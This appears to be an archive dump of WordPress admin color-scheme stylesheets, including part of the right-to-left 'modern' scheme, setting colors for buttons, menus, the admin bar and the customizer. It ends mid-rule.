ul.ab-sub-secondary .ab-submenu{background:rgb(101.2318636364,100.2821643357,99.4681363636)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(205.2,203.1,201.3)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(27.6923076923,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#c7a589}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#c7a589}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(108.2563636364,99.7418181818,92.4436363636)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#9ea476}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(142.2,147.6,106.2)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(108.2563636364,99.7418181818,92.4436363636);background-color:rgb(108.2563636364,99.7418181818,92.4436363636)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#c7a589}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(205.2,203.1,201.3)}.wp-pointer .wp-pointer-content h3{background-color:#c7a589;border-color:rgb(190.7931034483,151.8103448276,119.7068965517)}.wp-pointer .wp-pointer-content h3:before{color:#c7a589}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#c7a589}.media-item .bar,.media-progress-bar div{background-color:#c7a589}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #c7a589}.attachment.details .check{background-color:#c7a589;box-shadow:0 0 0 1px #fff,0 0 0 2px #c7a589}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#c7a589}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#c7a589}.theme-filter.current,.theme-section.current{border-bottom-color:#59524c}body.more-filters-opened .more-filters{color:#fff;background-color:#59524c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#c7a589;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#c7a589;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}div#wp-responsive-toggle a:before{color:hsl(27.6923076923,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#c7a589}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(69.7436363636,64.2581818182,59.5563636364)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(27.6923076923,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#c7a589}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#c7a589}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#c7a589}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#c7a589}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#c7a589;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#c7a589}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#c7a589;border-style:solid;box-shadow:0 0 0 1px #c7a589;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#c7a589}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(215.4137931034,191.3793103448,171.5862068966),0 0 2px 1px #c7a589}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#c7a589;color:#0073aa} css/colors/modern/colors-rtl.css 0000644 00000061004 15233246127 0012741 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #3858e9; } a:hover, a:active, a:focus { color: rgb(23.6923076923, 58.1538461538, 214.3076923077); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(23.6923076923, 58.1538461538, 214.3076923077); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #1e1e1e; } .wp-core-ui .wp-ui-text-primary { color: #1e1e1e; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #3858e9; } .wp-core-ui .wp-ui-text-highlight { color: #3858e9; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #3858e9; } .wp-core-ui .wp-ui-text-notification { color: #3858e9; } .wp-core-ui .wp-ui-text-icon { color: hsl(0, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #1e1e1e; } .view-switch a:hover:before { color: #3858e9; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #1e1e1e; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(0, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #3858e9; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(12.15, 12.15, 12.15); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(12.15, 12.15, 12.15); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(187.5, 187.5, 187.5); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(187.5, 187.5, 187.5); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #7b90ff; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #7b90ff; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #3858e9; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #3858e9; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(12.15, 12.15, 12.15); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(0, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #7b90ff; } /* Admin Bar */ #wpadminbar { color: #fff; background: #1e1e1e; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(0, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #7b90ff; background: rgb(12.15, 12.15, 12.15); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #7b90ff; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #7b90ff; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(12.15, 12.15, 12.15); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(47.85, 47.85, 47.85); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(187.5, 187.5, 187.5); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(0, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #7b90ff; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #7b90ff; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(0, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(0, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(47.85, 47.85, 47.85); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #3858e9; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(50.4, 79.2, 209.7); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(47.85, 47.85, 47.85); background-color: rgb(47.85, 47.85, 47.85); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #7b90ff; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(187.5, 187.5, 187.5); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #3858e9; border-color: rgb(33.0384615385, 68.7307692308, 230.4615384615); } .wp-pointer .wp-pointer-content h3:before { color: #3858e9; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #3858e9; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #3858e9; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #3858e9; } .attachment.details .check { background-color: #3858e9; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #3858e9; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #3858e9; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #3858e9; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #3858e9; } .theme-section.current, .theme-filter.current { border-bottom-color: #1e1e1e; } body.more-filters-opened .more-filters { color: #fff; background-color: #1e1e1e; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #3858e9; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #3858e9; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(101.9230769231, 126.5384615385, 238.0769230769), 0 0 2px 1px #3858e9; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(0, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #3858e9; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(12.15, 12.15, 12.15); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(0, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #3858e9; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #3858e9; border-right-color: #3858e9; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #3858e9; border-top-color: #3858e9; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #3858e9; border-right-color: #3858e9; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #3858e9; } .wp-core-ui 